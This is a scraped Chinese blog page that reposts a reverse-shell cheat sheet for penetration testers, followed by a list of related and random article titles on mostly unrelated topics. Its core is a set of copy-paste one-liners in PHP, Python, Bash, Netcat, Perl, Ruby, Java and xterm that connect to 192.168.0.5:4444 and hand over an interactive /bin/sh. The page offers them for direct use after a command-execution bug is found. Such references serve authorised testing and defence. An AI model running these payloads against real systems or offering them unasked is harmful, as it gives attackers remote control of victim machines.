常见语言反弹shell reverse shell
本文来自:https://www.hacking.land/2019/03/reverse-shell-cheat-sheet.html?m=1
前言
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.
PHP
php -r '$sock=fsockopen("192.168.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bash
bash -i >& /dev/tcp/192.168.0.5/4444 0>&1
Netcat
nc -e /bin/sh 192.168.0.5 4444
Perl
perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby
ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.5/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm
xterm -display 192.168.0.5:4444
常见语言反弹shell reverse shell的更多相关文章
- MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...
- Simple python reverse shell
import base64,sys; import socket,struct s=socket.socket(2,socket.SOCK_STREAM) s.connect(('Attack's I ...
- Reverse Shell Cheat Sheet
Reverse Shell Cheat Sheet If you're lucky enough to find a command execution vulnerability during a ...
- 转:shell 经典, shell 十三问
原文链接:http://blog.csdn.net/freexploit/article/details/626660 我在 CU 的日子并不长,有幸在 shell 版上与大家结缘.除了跟众前辈学 ...
- 初识Shell与Shell脚本
初识Shell Shell 是一个用 C 语言编写的程序,Shell 既是一种命令语言,又是一种程序设计语言. Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内 ...
- shell 学习笔记1-什么是shell,shell变量
一.介绍 1.什么是shell Shell 既是一种命令语言,又是一种程序设计语言,他在操作系统得最外层,负责直接与用户对话,把用户得输入解释个OS,并处理各类操作系统得输出结果,输出到屏幕返回个i用 ...
- 什么是Shell?Shell脚本基础知识详细介绍
这篇文章主要介绍了什么是Shell?Shell脚本基础知识介绍,本文是一篇Shell脚本入门文章,在本文你可学到什么是Shell.有多少种Shell.一个Shell脚本代码实例,需要的朋友可以参考下 ...
- 【shell】shell脚本入门
1. 前言 1.1 为什么学习shell编程 Shell脚本语言是实现Linux/UNIX系统管理及自动化运维所必备的重要工具,Linux/UNIX系统的底层及基础应用软件的核心大部分涉及Shell脚 ...
- 我们一起来学Shell - 初识shell
文章目录 Shell 的分类 `bash` `csh` `ksh` `tcsh` `sh` `nologin` `zsh` Shell 能做什么 bash 环境变量文件 `/etc/profile` ...
- [拾 得] 一枚迷人的贝壳 SHELL / Linux | shell 脚本初步入门
坚持知识分享,该文章由Alopex编著, 转载请注明源地址: http://www.cnblogs.com/alopex/ 索引: 什么是shell shell的分类 shell脚本的执行方式 ...
随机推荐
- python 多进程和异步io的有机结合 Error in atexit._run_exitfuncs
众所周知,python的多线程开发在GIL(全局器解释锁)下饱受诟病,在单核模式下搞多线程对效率的提升相当有限.于是大家的共识就是搞io密集的程序,建议采用多线程,计算密集型的程序就搞多进程.近期的一 ...
- PHP后端 H5页面 打开微信小程序
/** * 功能:获取小程序access_token * Author:郑康凯 * Date: 2023/2/6 0006 15:14 */ public function hhsGetAccessT ...
- redis底层数据结构之字典(dict)
字典(dict) 字典又称为符号表或者关联数组.或映射(map),是一种用于保存键值对(key-value)的抽象数据结构 字典中的每个key都是唯一的,通过key对值来进行查找或修改,时间复杂度为 ...
- Software_programming_Config_HOCON
05:09:37 HOCON github https://github.com/lightbend/config/blob/master/HOCON.md 相较于 XML, JSON, YAML 更 ...
- 【Java】自定义mybatis
处理 sql in 多条件搜索时 单引号双引号问题 StringBuilder pidNoZeroIds = new StringBuilder(); Integer numTmp = 0; for ...
- 使用ms17-010对win7进行渗透(445永恒之蓝)
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含"永恒之蓝"工具,"永恒之蓝"利用Wind ...
- 如何在win10网络中发现自己?
第一步:win10共享媒体流的操作步骤: 1.点击右下角网络-网络和Internet设置 2.进入设置界面后点击网络和共享中心 3.在共享中心界面点击媒体流式处理选项 4.点击启用媒体流 5.设置媒体 ...
- 光盘实现半自动化安装linux以及PXE实现自动安装
重点 实验一:使用 kickstart 半自动化安装CentOS系统 可以将定制安装光盘,并结合kickstart实现基于光盘启动的半自动化安装 实现过程 首先下载httpd搭建个web网页 [ro ...
- pyspark 中的rdd api 编码练习
1,使用pyspark 的rdd api 进行了数据文件的处理,包括构建RDD, 统计分析RDD ,从文件中读取数据RDD,从文件中构建 rdd的模式shema. 然后通过模式,从rdd中生成data ...
- Go--解析yaml文件
yaml 文件是目前最常用的配置文件,使用go语言编写代码和工具时,也会用到yaml文件,将服务配置及中间件等信息定义到yaml文件中,后续可根据实际场景来选用. //先下载外部包 go get -u ...